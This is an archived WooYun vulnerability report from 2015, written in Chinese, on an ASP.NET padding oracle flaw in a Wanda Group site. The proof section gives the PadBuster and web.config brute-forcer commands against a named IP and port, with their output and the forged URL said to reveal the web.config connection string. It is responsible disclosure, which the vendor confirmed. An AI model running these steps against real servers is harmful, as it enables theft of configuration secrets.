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缺陷编号：wooyun-2015-0136471

漏洞标题：万达集团旗下某站配置问题可读敏感信息

相关厂商：大连万达集团股份有限公司

漏洞作者： 水晶

提交时间：2015-08-24 14:20

修复时间：2015-10-08 14:54

公开时间：2015-10-08 14:54

漏洞类型：应用配置错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-08-24： 细节已通知厂商并且等待厂商处理中
2015-08-24： 厂商已经确认，细节仅向厂商公开
2015-09-03： 细节向核心白帽子及相关领域专家公开
2015-09-13： 细节向普通白帽子公开
2015-09-23： 细节向实习白帽子公开
2015-10-08： 细节向公众公开

简要描述：

万达集团旗下某站配置问题可读敏感信息

详细说明：

检测到http://59.108.36.117:8000/WebResource.axd?d=1440148493可能存在oracle padding漏洞

3.png

漏洞证明：

1.脚本探测
perl Padbuster.pl http://59.108.36.117:8000/WebResource.axd?d=9MBwmxN6TLKjC8S3CdFGyw2 9MBwmxN6TLKjC8S3CdFGyw2 16 -encoding 3 -plaintext "|||~/web.config"

+-------------------------------------------+
| PadBuster - v0.3                          |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 4587
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 1
INFO: No error string was provided...starting response analysis
ERROR: 500 Can't connect to 59.108.36.117:8000 (10060)
   Retrying in 10 seconds...
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       500     3468    N/A
2 **    255     500     4587    N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (224) [Byte 16]
[+] Success: (75) [Byte 15]
[+] Success: (19) [Byte 14]
[+] Success: (0) [Byte 13]
[+] Success: (128) [Byte 12]
[+] Success: (60) [Byte 11]
[+] Success: (172) [Byte 10]
ERROR: 500 Can't connect to 59.108.36.117:8000 (10060)
   Retrying in 10 seconds...
[+] Success: (11) [Byte 9]
[+] Success: (191) [Byte 8]
[+] Success: (64) [Byte 7]
[+] Success: (231) [Byte 6]
[+] Success: (121) [Byte 5]
[+] Success: (249) [Byte 4]
[+] Success: (184) [Byte 3]
[+] Success: (112) [Byte 2]
[+] Success: (245) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 9903ca8a5a9b2fd42dc855eb62792ee0
[+] Intermediate Bytes (HEX): e57fb6f475ec4ab603ab3a85041049e1
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1


拿到了web.config的URL的加密地址：mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1
2.利用脚本继续填充
perl Web.config_bruter.pl http://59.108.36.117:8000/ScriptResource.axd mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1 16

1.png


得到了加密字符串：CX8PD2QimGkjB3nMBDaKRJkDyopamy_ULchV62J5LuAAAAAAAAAAAAAAAAAAAAAA0
3.这样就得到了Web.Config完整的访问地址
http://59.108.36.117:8000/ScriptResource.axd?d=CX8PD2QimGkjB3nMBDaKRJkDyopamy_ULchV62J5LuAAAAAAAAAAAAAAAAAAAAAA0

3.png


看到了连接字符串，虽然连的是本机，但是安全无大小，要注意这些细节啊。

修复方案：

升级补丁

版权声明：转载请注明来源 水晶@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-08-24 14:53

厂商回复：

感谢水晶同学的关注与贡献，马上通知业务整改！

最新状态：

暂无

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